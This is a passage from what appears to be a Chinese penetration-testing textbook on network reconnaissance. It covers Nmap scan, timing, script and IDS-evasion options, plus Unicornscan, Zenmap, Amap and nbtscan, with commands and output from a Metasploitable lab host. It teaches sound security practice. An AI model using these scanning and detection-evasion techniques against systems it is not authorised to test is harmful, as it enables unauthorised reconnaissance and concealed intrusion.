● TCP 窗口扫描(-sW):这种扫描方式检测目标返回的RST数据包的TCP窗口字段。如果目标端口处于开放状态,这个字段的值将是正值;否则它的值应当是0。

● TCP Idle 扫描(-sI):采用这种技术后,您将通过指定的僵尸主机发送扫描数据包。本机并不与目标主机直接通信。如果对方网络里有IDS,IDS将认为发起扫描的主机是僵尸主机。

Nmap的scanflags选项可设定自定义的TCP扫描方式。这个选项的参数可以用数字表示(例如,9代表PSH和FIN标识)。这个选项也支持标识位的符号缩写。在使用符号缩写时,仅需要将URG、ACK、PSH、RST、SYN、FIN、ECE、CWR、ALL和NONE以任意顺序进行组合。例如:--scanflags URGACKPSH 将设置URG、ACK 和PSH 标识位。

3.UDP扫描选项

Nmap有多种TCP扫描方式,而UDP扫描仅有一种扫描方式(-sU)。虽然UDP扫描结果没有TCP扫描结果的可靠度高,但渗透测试人员不能因此而轻视UDP扫描,毕竟UDP端口代表着可能会有价值的服务端程序。

UDP扫描的最大问题是性能问题。由干Linux内核限制1秒内最多发送一次ICMP Port Unreachable信息。按照这个速度,对一台主机的65536个UDP端口进行完整扫描,总耗时必定会超过18个小时。

改善扫描速度的方式主要有:

● 进行并发的UDP 扫描;

● 优先扫描常用端口;

● 在防火墙后面扫描;

● 启用--host-timeout 选项以跳过响应过慢的主机。

这些方法能够减少UDP端口扫描所需的总体时间。

假如我们需要找到目标主机开放了哪些 UDP 端口。为提高扫描速度,我们仅扫描 53端口(DNS)和161端口(SNMP)。此时需要使用下述指令。

nmap -sU 192.168.56.103 -p 53,161

上述指令的返回结果如下。

Nmap scan report for 192.168.56.103

Host is up (0.0016s latency).

PORT STATE SERVICE

53/udp open domain

161/udp closed snmp

4.目标端口选项

默认情况下,Nmap将从每个协议的常用端口中随机选择1000个端口进行扫描。其nmap-services文件对端口的命中率进行了排名。

如需更改端口配置,可使用Nmap的以下几个选项。

● -p端口范围:只扫描指定的端口。扫描1~1024号端口,可设定该选项为–p 1-1024。扫描1~65535端口时,可使用-p-选项。

● -F(快速扫描):将仅扫描100 个常用端口。

● -r(顺序扫描):指定这个选项后,程序将从按照从小到大的顺序扫描端口。

● --top-ports <1 or greater>:扫描nmap-services 里排名前N 的端口。

以NULL方式扫描目标主机的22、25端口的指令如下所示。

nmap -sN -p 22,25 192.168.56.103

上述指令的返回结果如下。

Nmap scan report for 192.168.56.103

Host is up (0.00096s latency).

PORT STATE   SERVICE

22/tcp open|filtered ssh

25/tcp open|filtered smtp

80/tcp open|filtered http

3306/tcp open|filtered mysql

MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 14.38 seconds

tcpdump捕获的信息如下。

23:23:38.581818 IP 192.168.56.102.61870 > 192.168.56.103.22: Flags [], win 1024, length 0

0x0000: 4500 0028 06e4 0000 2f06 92ce c0a8 3866 E..(..../.....8f

0x0010: c0a8 3867 f1ae 0016 dd9e bf90 0000 0000 ..8g............

0x0020: 5000 0400 2ad2 0000      P...*...

23:23:38.581866 IP 192.168.56.102.61870 > 192.168.56.103.25: Flags [], win 1024, length 0

0x0000: 4500 0028 1117 0000 3106 869b c0a8 3866 E..(....1.....8f

0x0010: c0a8 3867 f1ae 0019 dd9e bf90 0000 0000 ..8g............

0x0020: 5000 0400 2acf 0000      P...*...

23:23:39.683483 IP 192.168.56.102.61871 > 192.168.56.103.25: Flags [], win 1024, length 0

0x0000: 4500 0028 afaf 0000 2706 f202 c0a8 3866 E..(....'.....8f

0x0010: c0a8 3867 f1af 0019 dd9f bf91 0000 0000 ..8g............

0x0020: 5000 0400 2acc 0000      P...*...

23:23:39.683731 IP 192.168.56.102.61871 > 192.168.56.103.22: Flags [], win 1024, length 0

0x0000: 4500 0028 5488 0000 3506 3f2a c0a8 3866 E..(T...5.?*..8f

0x0010: c0a8 3867 f1af 0016 dd9f bf91 0000 0000 ..8g............

0x0020: 5000 0400 2acf 0000      P...*...

根据以上信息,我们可以得出下述结论。

● 第1 个数据包,是实施扫描的主机检测目标主机的22 端口状态的数据包。一段时间之后,它发出了第2个数据包,检测目标主机的25端口。

● 第3 个数据包,是实施扫描的主机检测目标主机的25 端口状态的数据包。一段时间之后,它发出了第4个数据包,检测目标主机的22端口。

● 过了一段时间之后,目标主机仍然没有进行任何响应。Nmap 判定这两个端口处于开放状态或过滤状态。

5.输出选项

Nmap可以把扫描结果保存为外部文件。在需要使用其他工具处理Nmap的扫描结果时,这一功能十分有用。

即使您设定程序把扫描结果保存为文件,Nmap还是会在屏幕上显示扫描结果。

Nmap支持以下几种输出形式。

● 交互(屏幕)输出:Nmap把扫描结果发送到标准输出设备上(通常为终端/控制台),这是默认的输出方式。

● 正常输出(-oN):与交互输出类似,但是不显示runtime 信息和警告信息。

● XML 文件(-oX):生成的 XML 格式文件可以转换成 HTML 格式文件,还可被Nmap 的图形用户界面解析,也便于导入数据库。本文建议您尽量将扫描结果输出为XML文件。

● 生成便于Grep使用的文件(-oG):虽然这种文件格式已经过时,但仍然很受欢迎。这种格式的文件,其内容由注释(由#开始)和信息行组成。信息行包含6个字段,每个字段的字段名称和字段值以冒号分割,字段之间使用制表符隔开。这些字段的名称分别为Host、Ports、Protocols、Ignored State、OS、Seq Index、IP ID Seq 和 Status。这种格式的文件便于 grep 或 awk 之类的 UNIX 指令整理扫描结果。

还可以通过-oA选项,让Nmap程序把扫描结果同时以三种形式(正常输出、XML文件和便于Grep使用的文件)进行输出。

如需把保存扫描结果保存为XML文件(myscan.xml),可使用下述指令。

nmap 192.168.56.103 -oX myscan.xml

以下是XML文件中的部分内容。

<?xml version="1.0"?>

<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl"

type="text/xsl"?>

<!-- Nmap 6.25 scan initiated Sat Jul 20 23:50:25 2013

as: nmap -oX myscan.xml 192.168.56.103 -->

<nmaprun scanner="nmap" args="nmap -oX myscan.xml 192.168.56.103"

start="1374339025" startstr="Sat Jul 20 23:50:25 2013"

version="6.25" xmloutputversion="1.04">

<scaninfo type="syn" protocol="tcp" numservices="1000"

services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42

<some port numbers are deleted for brevity>

50003,50006,50300,50389,50500,50636,50800,51103,51493,

52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737

56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,

64680,65000,65129,65389"/>

<verbose level="0"/>

<debugging level="0"/>

<host starttime="1374339025" endtime="1374339038"><status

state="up" reason="arp-response" reason_ttl="0"/>

<address addr="192.168.56.103" addrtype="ipv4"/>

<address addr="08:00:27:43:15:18" addrtype="mac" vendor="Cadmus

Computer Systems"/>

因为 HTML 格式的文件比 XML 格式的文件更易于阅读,所以我们通常会把 XML格式文件转换成HTML格式文件。我们可使用xsltproc进行这种格式转换。该程序的用法如下。

xsltproc myscan.xml -o myscan.html

使用Kali Linux 自带的Iceweasel Web 浏览器打开这个HTML 文件(见图6.4)。

XML的处理程序能够处理Nmap生成的XML文件。很多编程语言都带有XML通用处理库。其中,下述几种语言专门开发出了可供处理Nmap XML 报告的库。

● Perl:Nmap-Parser(http://search.cpan.org/dist/Nmap-Parser/)。

● Python:python-nmap(http://xael.org/norman/python/python-nmap/)。

● Ruby:Ruby Nmap(http://rubynmap.sourceforge.net/)。

● PowerShell:专门处理Nmap XML格式报告的PowerShell脚本程序(http://www. sans.org/windows-security/2009/06/11/powershell-script-toparse-nmap-xml-output)。

figure_0158_0078

图6.4

6.时间排程控制选项

Nmap可通过-T选项指定时间排程控制的模式。它有6种扫描模式。

● paranoid(0):每5分钟发送一次数据包,且不会以并行方式同时发送多组数据。这种模式的扫描不会被IDS检测到。

● sneaky(1):每隔15秒发送一个数据包,且不会以并行方式同时发送多组数据。

● polite(2):每0.4 秒发送一个数据包,且不会以并行方式同时发送多组数据。

● normal(3):此模式同时向多个目标发送多个数据包,为 Nmap 默认的模式,该模式能自动在扫描时间和网络负载之间进行平衡。

● aggressive(4):在这种模式下,Nmap 对每个既定的主机只扫描5 分钟,然后扫描下一台主机。它等待响应的时间不超过1.25秒。

● insane(5):在这种模式下,Nmap 对每个既定的主机仅扫描75 秒,然后扫描下一台主机。它等待响应的时间不超过0.3秒。

我们的经验表明,默认的扫描模式通常都没有问题。除非您想要进行更隐匿或更快速的扫描,否则没有必要调整这一选项。

7.常用选项

本节将讨论Nmap的几个非常有用的选项。

服务版本识别

Nmap 程序可以在进行端口扫描的时候检测服务端软件的版本信息。版本信息将使后续的漏洞识别工作更有针对性。

如需启用这一功能,就要指定Nmap的–sV选项。

例如,在获取目标主机22端口上的服务程序的版本信息时,可使用下述指令。

nmap -sV 192.168.56.103 -p 22

上述指令的返回结果如下。

Nmap scan report for 192.168.56.103

Host is up (0.0016s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

上述信息表明:目标主机的22端口处于开放状态,它的服务端程序是4.7p1版本的OpenSSH,通信协议是SSH 2.0。

操作系统检测

Nmap还能识别目标主机的操作系统。

如需启用这一功能,就要指定Nmap的–O选项。

例如,在获取目标主机的操作系统信息时,可使用下述指令。

nmap -O 192.168.56.103

上述指令的返回结果如下。

Host is up (0.0037s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open unknown

MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

上述信息表明,服务器使用的是基于2.6.9-2.6.33版本Linux内核的Linux系统。如果这个Linux内核上存在漏洞,我们就可以利用这些漏洞。

禁用主机检测

如果主机屏蔽了ping请求,Nmap可能会认为该主机没有开机。这将使得Nmap无法进行进一步检测,比如端口扫描、服务版本识别和操作系统识别等探测工作。为了克服这一问题,就需要禁用Nmap的主机检测功能。在指定这个选项之后,Nmap会认为目标主机已经开机并会进行全套的检测工作。

如需启用这一功能,就要指定Nmap的–Pn选项。

强力检测选项

启用-A选项之后,Nmap将检测目标主机的下述信息:

● 服务版本识别(-sV);

● 操作系统识别(-O);

● 脚本扫描(-sC);

● Traceroute(--traceroute)。

这种扫描类型的扫描时间较长。举例来说,可使用下述扫描指令。

nmap -A 192.168.56.103

上述指令的返回结果如下。

PORT STATE SERVICE VERSION

21/tcp open ftp  vsftpd 2.3.4

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh  OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

80/tcp open http  Apache httpd 2.2.8 ((Ubuntu) DAV/2)

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|_http-title: Metasploitable2 – Linux

...

Host script results:

|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS

MAC: <unknown>

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| NetBIOS computer name:

| Workgroup: WORKGROUP

|_ System time: 2013-07-21T09:20:22-04:00

TRACEROUTE

HOP RTT ADDRESS

1 1.66 ms 192.168.56.103

8.扫描IPv6主机

前文介绍过,Nmap能够扫描IPv6环境里的主机,本节将进行细致说明。

本例涉及的IP v6 地址如下。

目标主机:fe80::a00:27ff:fe43:1518

启用Nmap的-6选项即可扫描IPv6的目标主机。

当前,您只能逐个指定目标主机的IPv6地址。举例来说,可采用下述指令扫描IPv6地址的目标主机。

nmap -6 fe80::a00:27ff:fe43:1518

上述指令的返回结果如下。

Nmap scan report for fe80::a00:27ff:fe43:1518

Host is up (0.0014s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

2121/tcp open ccproxy-ftp

5432/tcp open postgresql

MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

上述信息表明,同一台主机在IPv6网络里开放的端口比它在IPv4网络里开放的端口数量要少。这是因为部分服务程序尚未支持IPv6网络。

9.脚本引擎

Nmap 本身就是功能强大的网络探测工具。而它的脚本引擎功能(Nmap Scripting Engine,NSE)更让 Nmap 如虎添翼。NSE 可使用户的各种网络检査工作更为自动化,有助于识别应用程序中新发现的漏洞、检测程序版本等Nmap原本不具有的功能。虽然Nmap软件包具有各种功能的脚本,但是为了满足用户的特定需求,它还支持用户撰写自定义脚本。

NSE自带的脚本由Lua语言(http://www.lua.org)编写。这些脚本可以分成12个类别。

● auth:此类脚本使用暴力破解等技术找出目标系统上的认证信息。

● default:启用--sC 或者-A 选项时运行此类脚本。这类脚本同时具有下述特点:

ƒ 执行速度快;

ƒ 输出的信息有指导下一步操作的价值;

ƒ 输出信息内容丰富、形式简洁;

ƒ 必须可靠;

ƒ 不会侵入目标系统;

ƒ 能泄露信息给第三方。

● discovery:该类脚本用于探索网络。

● dos:该类脚本可能使目标系统拒绝服务,请谨慎使用。

● exploit:该类脚本利用目标系统的安全漏洞。在运行这类脚本之前,渗透测试人员需要获取被测单位的行动许可。

● external:该类脚本可能泄露信息给第三方。

● fuzzer:该类脚本用于对目标系统进行模糊测试。

● instrusive:该类脚本可能导致目标系统崩溃,或耗尽目标系统的所有资源。

● malware:该类脚本检査目标系统上是否存在恶意软件或后门。

● safe:该类脚本不会导致目标服务崩溃、拒绝服务且不利用漏洞。

● version:配合版本检测选项(-sV),这类脚本对目标系统的服务程序进行深入的版本检测。

● vuln:该类脚本可检测检査目标系统上的安全漏洞。

在Kali Linux系统中,Nmap脚本位于目录/usr/share/nmap/scripts。目前,Kali Linux收录的6.25版的Nmap带有430多个脚本。

在使用NSE脚本时,可以下命令行里使用下述选项。

● -sC 或--script=default:启动默认类NSE 脚本。

● --script <filename>|<category>|<directories>:根据指定的文件名、类别名、目录名,执行相应的脚本。

● --script-args <args>:这个选项用于给脚本指定参数。例如,在使用认证类脚本时,可通过这个选项指定用户名和密码。

举例来说,如果要使用默认类的脚本对主机 192.168.56.103 进行扫描,可使用下述指令。

nmap -sC 192.168.56.103

上述指令的运行结果如下。

Nmap scan report for 192.168.56.103

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh

| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

25/tcp open smtp

|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000,

VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/

organizationName=OCOSA/stateOrProvinceName=There is no such thing outside

US/countryName=XX

| Not valid before: 2010-03-17T14:07:45+00:00

|_Not valid after: 2010-04-16T14:07:45+00:00

|_ssl-date: 2013-07-21T08:40:20+00:00; -4s from local time.

53/tcp open domain

| dns-nsid:

|_ bind.version: 9.4.2

111/tcp open rpcbind

| rpcinfo:

| program version port/proto service

| 100000 2   111/tcp rpcbind

| 100000 2   111/udp rpcbind

| 100003 2, 3, 4 2049/tcp nfs

| 100003 2, 3, 4 2049/udp nfs

| 100005 1, 2, 3 35075/udp mountd

| 100005 1, 2, 3 59685/tcp mountd

| 100021 1, 3, 4 37466/tcp nlockmgr

| 100021 1, 3, 4 60726/udp nlockmgr

| 100024 1  36880/udp status

|_ 100024 1  38557/tcp status

3306/tcp open mysql

| mysql-info: Protocol: 10

| Version: 5.0.51a-3ubuntu5

| Thread ID: 7

| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection

| Status: Autocommit

|_Salt: !'BijWW-x7HCVi,<*[l

5900/tcp open vnc

| vnc-info:

| Protocol version: 3.3

| Security types:

|_ Unknown security type (33554432)

6667/tcp open irc

| irc-info: Server: irc.Metasploitable.LAN

| Version: Unreal3.2.8.1. irc.Metasploitable.LAN

| Lservers/Lusers: 0/1

| Uptime: 0 days, 0:15:26

| Source host: 50388A6E.97684684.FFFA6D49.IP

|_Source ident: OK nmap

8180/tcp open unknown

|_http-favicon: Apache Tomcat

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

|_http-title: Apache Tomcat/5.5

MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems)

Host script results:

|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS

MAC: <unknown>

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| NetBIOS computer name:

| Workgroup: WORKGROUP

|_ System time: 2013-07-21T04:40:20-04:00

Nmap done: 1 IP address (1 host up) scanned in 46.87 seconds

可见,在使用NSE的默认类脚本后,Nmap获取的信息更为全面。

您还可能需要获取目标主机的特定信息。此时可以单独使用脚本文件。如果要获取HTTP服务器的信息,将会发现NSE的脚本里有很多脚本都是分析HTTP服务的。这些脚本有http-enum、http-headers、http-methods和http-php-version。我们可以使用下述指令。

nmap --script http-enum,http-headers,http-methods,http-php-version -p 80

192.168.56.103

上述指令的运行结果如下。

Nmap scan report for 192.168.56.103

Host is up (0.0010s latency).

PORT STATE SERVICE

80/tcp open http

| http-enum:

| /tikiwiki/: Tikiwiki

| /test/: Test page

| /phpinfo.php: Possible information file

| /phpMyAdmin/: phpMyAdmin

| /doc/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) dav/2'

| /icons/: Potentially interesting folder w/ directory listing

|_ /index/: Potentially interesting folder

| http-headers:

| Date: Sun, 21 Jul 2013 08:45:07 GMT

| Server: Apache/2.2.8 (Ubuntu) DAV/2

| X-Powered-By: PHP/5.2.4-2ubuntu5.10

| Connection: close

| Content-Type: text/html

|

|_ (Request type: HEAD)

|_http-methods: No Allow or Public header in OPTIONS response (status code 200)

| http-php-version: Versions from logo query (less accurate): 5.1.3 - 5.1.6, 5.2.0 - 5.2.17

| Versions from credits query (more accurate): 5.2.3 - 5.2.5

|_Version from header x-powered-by: PHP/5.2.4-2ubuntu5.10

MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 24.47 seconds

相比不使用脚本而言,在使用与HTTP相关的NSE脚本之后,我们得到与Web服务有关的更多信息。

● Web 服务器上有多个值得关注的目录:Tikiwiki、test 和phpMyAdmin。

● 服务器上的phpinfo.php 可提供更多信息。

● 服务器上PHP 是5.2.3-5.2.5 之间的某个版本。

在介绍Nmap的时候,我们不得不提一个端口扫描脚本。

NSE脚本之中,有一个名为Nmap NSEVulscan的脚本。它可从http://www.computec. ch/mruef/software/nmap_nse_vulscan-1.0.tar.gz 下载。这个脚本能够根据目标主机的版本信息,在多个网站上搜索这些版本的相关漏洞。这些网站包括 CVE (http://cve.mitre.org)、OSVDB(http://www.osvdb.org/)、scip VulDB (http://www.scip.ch/?vuldb)、SecurityTracker(http://securitytracker.com/)和Security Focus(http://www.securityfocus.com/)。

使用上述脚本之后,可获取的扫描结果如图6.5所示。

figure_0168_0079

图6.5

10.规避检测的选项

在渗透测试的工作中,目标主机通常处于防火墙或 IDS 系统的保护之中。在这种环境中使用 Nmap 的默认选项进行扫描,不仅会被发现,而且往往一无所获。此时,我们就要使用Nmap规避检测的有关选项。

● -f(使用小数据包):这个选项可避免对方识别出我们探测的数据包。指定这个选项之后,Nmap将使用8字节甚至更小数据体的数据包。

● --mtu:这个选项用来调整数据包的包大小。MTU(Maximum Transmission Unit,最大传输单元)必须是8的整数倍,否则Nmap将报错。

● -D(诱饵):这个选项应指定假 IP,即诱饵的 IP。启用这个选项之后,Nmap 在发送侦测数据包的时候会掺杂一些源地址是假IP(诱饵)的数据包。这种功能意在以藏木于林的方法掩盖本机的真实 IP。也就是说,对方的log还会记录下本机的真实IP。您可使用RND生成随机的假IP地址,或者用RND:number的参数生成<number>个假IP地址。您所指定的诱饵主机应当在线,否则很容易击溃目标主机。另外,使用了过多的诱饵可能造成网络拥堵。尤其是在扫描客户的网络的时候,您应当极力避免上述情况。

● --source-port <portnumber>或-g(模拟源端口):如果防火墙只允许某些源端口的入站流量,这个选项就非常有用。

● --data-length:这个选项用于改变Nmap 发送数据包的默认数据长度,以避免被识别出来是Nmap的扫描数据。

● --max-parallelism:这个选项可限制Nmap 并发扫描的最大连接数。

● --scan-delay <time>:这个选项用于控制发送探测数据的时间间隔,以避免达到IDS/IPS端口扫描规则的阈值。

Nmap的官方手册详细介绍了规避探测的各种选项。如果您需要详细了解这些内容,请参照官方手册http://nmap.org/book/man-bypass-firewalls-ids.html。

6.2.2 Unicornscan

Unicornscan是信息收集和关联分析的引擊。它能对TCP/IP设备发起主动扫描,并根据其响应进行分析。Unicornscan具备下述特性:

● 可进行异步无状态TCP 端口扫描;

● 可通过异步无状态TCP 扫描获取TCP banner;

● 可进行异步UDP 端口扫描;

● 可通过主动方式和被动方式识别远程操作系统和应用程序。

默认安装的Kali Linux 并不带有Unicornscan 程序。您可通过软件仓库安装它。

apt-get install unicornscan

如需启动Unicornscan,可在终端中使用下述指令。

# unicornscan -h

该指令将显示所有的选项及使用方法。

Unicornscan 和其他类似工具主要区别在于其扩展性和高效性。经验表明,UDP 端口扫描的耗时都很长,扫描整个网段的UDP端口的耗时更长。不过Unicornscan在这方面的性能卓越。

您可以设置Unicornscan毎秒发送多少个包。每秒发送包(PPS)设置得越高,扫描的速度也就越快,但会导致网络负载加重,注意谨慎使用此功能。PPS的默认值是300。

本文将使用Unicornscan的默认选项扫描一台目标主机,以介绍指令和输出。

假设我们要扫描主机 192.168.56.103,检测它的 UDP 协议(-m U)的 1-65535端口,并查看程序的详尽输出(-Iv),那么我们需要使用下述指令。

# unicornscan -m U -Iv 192.168.56.103:1-65535

运行上述指令后,程序的提示信息如下。

adding 192.168.56.103/32 mode 'UDPscan' ports '1-65535' pps 300

using interface(s) eth0

scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 3 Minutes, 45 Seconds

上述信息表明,在使用 PPS 的默认值的情况下,Unicornscan 的扫描时间大约是 3分钟。为了加快扫描速度,我们把发包速率调整为1 万(-r 10000)。

unicornscan -m U -Iv 192.168.56.103/24:1-65535 -r 10000

运行上述指令后,程序的提示信息如下。

adding 192.168.56.103/32 mode 'UDPscan' ports '1-65535' pps 10000

using interface(s) eth0

scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 13 Seconds

调整发包速率 PPS 参数之后,扫描速度提升很多。请注意您只能在网络速度足够快的情况下才能修改这个参数,否则将拖垮整个网络。

上述指令的扫描结果如下。

UDP open 192.168.56.103:137 ttl 64

UDP open 192.168.56.103:53 ttl 64

UDP open 192.168.56.103:41250 ttl 64

UDP open 192.168.56.103:2049 ttl 64

UDP open 192.168.56.103:111 ttl 64

sender statistics 7586.6 pps with 65544 packets sent total

listener statistics 14 packets recieved 0 packets dropped and 0 interface drops

UDP open  domain[ 53]  from 192.168.56.103 ttl 64

UDP open  sunrpc[ 111]  from 192.168.56.103 ttl 64

UDP open netbios-ns[ 137]  from 192.168.56.103 ttl 64

UDP open  shilp[ 2049]  from 192.168.56.103 ttl 64

UDP open  unkown[41250]  from 192.168.56.103 ttl 64

6.2.3 Zenmap

Zenmap是Nmap的图形化工具。相较于Nmap,Zenmap具备如下优势。

● Zenmap 的交互性更好,输出更为直观,甚至能将网络的探索结果绘制成拓扑图。

● 可以比较两次扫描的结果。

● 能够记录扫描的结果。

● 渗透人员可调整Zenmap 的配置文件,以使用相同的配置进行多次扫描。

● 会显示所执行的指令,便于渗透测试人员检査指令的正确性。

如需启动 Zenmap 程序,可在桌面菜单中依次选中Kali Linux | Information Gathering | Network scanners | Zenmap,也可在终端中使用下述指令。

# zenmap

该命令执行将显示Zenmap主窗口(见图6.6)。Zenmap预设有10种扫描模式的配置文件。点击菜单Profile就可以看到相应扫描方式以及相应的命令选项。程序的Command文本框会显示具体的指令和选项。

figure_0171_0080

图6.6

如果预设的扫描选项未能符合我们的需求,我们可以创建一个新的扫描配置文件(profile),还可以编辑已有的配置文件。我们可以通过Profile菜单完成这些操作。

如需新建配置文件,可选择菜单项New Profile或编辑Command 文本框,或使用快捷键Ctrl+P。如需编辑已有的配置文件,可选择菜单项Edit Selected Profile或使用快捷键Ctrl+E。

在调整选项时,可在选项卡(Profile、Scan、Ping、Scripting、Target、Source、Other和Timing)下根据需求进行相应配置。在调整过配置选项之后,单击Save Changes按钮保存该扫描配置。这个过程如图6.7所示。

figure_0172_0081

图6.7

本文选用Regular Scan(常规扫描)的配置文件,扫描192.168.56.1-254的所有主机,如图6.8所示。

figure_0172_0082

图6.8

如果需要查看网络拓扑图,可点击Topology标签,这将看到图6.9所示的界面。

figure_0173_0083

图6.9

如需保存Zenmap的扫描结果,可在Scan菜单中选择Save Scan。Zenmap将会询问将文件保存至何处,默认情况下将保存为XML文件(见图6.10)。

figure_0173_0084

图6.10

如需比较两次扫描结果之间的差异,首先进行第一次扫描,并保存第一次扫描的扫描结果。在修改扫描目标之后,进行第二次扫描并再次保存扫描结果。然后,在Tools菜单中选择Compare Results,对扫描结果进行比较。

点击两个Open按钮,分别指定A Scan 和B Scan的扫描结果,如图6.11 所示。

figure_0174_0085

图6.11

字符“-”代表B Scan的结果中没有该项内容;相对地,字符“+”表明B Scan的扫描结果中增加了该项扫描结果。

上述扫描结果表明,在第二次扫描中的SSH端口和MySQL端口都不再处于开放状态,关闭端口的数目也从977个相应变化为979个。

6.2.4 Amap

Amap程序可检测在指定端口上运行的应用程序信息。Amap向目标端口发送检测数据,在收到目标响应之后,将响应信息与数据库中结果进行匹配,并显示出匹配的应用程序。

在Kali Linux 中,Amap 检测数据包的配置文件为/usr/etc/appdefs.trig,而响应信息的文件是/usr/etc/appdefs.resp。

如需启动Amap程序,可在终端中使用下述指令。

amap

该命令将显示它的使用说明和指令范例。

本例将使用Amap程序分析目标主机22端口上运行的应用程序。我们启用-b选项以获取端口的banner信息,同时通过-q选项禁止程序报告关闭的(或不可识別的)端口。我们使用下述指令。

amap -bq 192.168.56.103 22

上述指令的运行结果如下。

Protocol on 192.168.56.103:22/tcp matches ssh - banner: SSH-2.0OpenSSH_4.7p1 Debian-8ubuntu1\n

Protocol on 192.168.56.103:22/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\n

Amap程序还能够识别指定端口上运行的应用类型及其版本信息。

如需扫描更多的端口,可在命令行中指定多个端口,端口之间用空格分隔,例如:

amap -bq 192.168.56.103 80 3306

上述指令的运行结果如下。

Protocol on 192.168.56.103:3306/tcp matches mysql - banner:

>\n5.0.51a-3ubuntu5/?,'~yel,nd,M~Ti3ap/5Bad handshake

Protocol on 192.168.56.103:22/tcp matches ssh - banner:

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\n

Protocol on 192.168.56.103:22/tcp matches ssh-openssh - banner:

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1\n

Amap可以识别在3306端口上运行的是MySQL服务,但在识别22端口上运行的服务时,却找到了多个匹配。

在快速识别应用服务程序方面,Amap程序可谓一枝独秀。

6.3 SMB枚举

如果您所测试的目标主机是 Windows 主机,那么使用 nbtscan 之类的 SMB(Server Message Block)枚举工具可以直截了当地获取该系统的信息。

nbtscan工具可以扫描IP地址并获取NetBIOS名称信息。它所生成的扫描报告含有相应主机的IP地址、NetBIOS计算机名、服务名称、已登录的用户名和MAC地址信息。

这些信息在渗透测试的后续阶段将发挥作用。Kali的nbtscan程序和Windows自带的nbtstat程序不同,它可对一个网段内所有IP地址进行操作。您可以想象得出来,这款工具将产生大量的网络流量,而且可能被目标主机记录在Log里。

如需了解NetBIOS报告中每个服务的功能,可在微软知识库(URL地址为 http://support.microsoft.com/kb/163409 )里查询NetBIOS服务名称的第16个字符(即NetBIOS后缀)。

可以在终端中直接输入nbtscan来启动它。

如欲搜索192.168.56.0内各主机的NetBIOS名称,可使用下述指令。

nbtscan 192.168.56.1-254

该指令的返回结果如下。

Doing NBT name scan for addresses from 192.168.56.1-254

IP address  NetBIOS Name Server User MAC address

-----------------------------------------------------------

----

192.168.56.103 METASPLOITABLE <server> METASPLOITABLE

00:00:00:00:00:00

上述结果表明,程序找到了1个名为METASPLOITABLE的NetBIOS名称。

接下来,我们使用下述指令查看这台主机的网络服务。

nbtscan -hv 192.168.56.103

该指令的返回结果如下。

Doing NBT name scan for addresses from 192.168.56.103

NetBIOS Name Table for Host 192.168.56.103:

Incomplete packet, 281 bytes long.

Name   Service   Type

---------------------------------------

METASPLOITABLE Workstation Service

METASPLOITABLE Messenger Service

METASPLOITABLE File Server Service

METASPLOITABLE Workstation Service

METASPLOITABLE Messenger Service

METASPLOITABLE File Server Service

WORKGROUP  Domain Name

WORKGROUP  Browser Service Elections

WORKGROUP  Domain Name

WORKGROUP  Browser Service Elections

Adapter address: 00:00:00:00:00:00

---------------------------------------

上述结果表明,主机METASPLOITABLE运行着File Server Service和Messenger Service等网络服务。

6.4 SNMP枚举

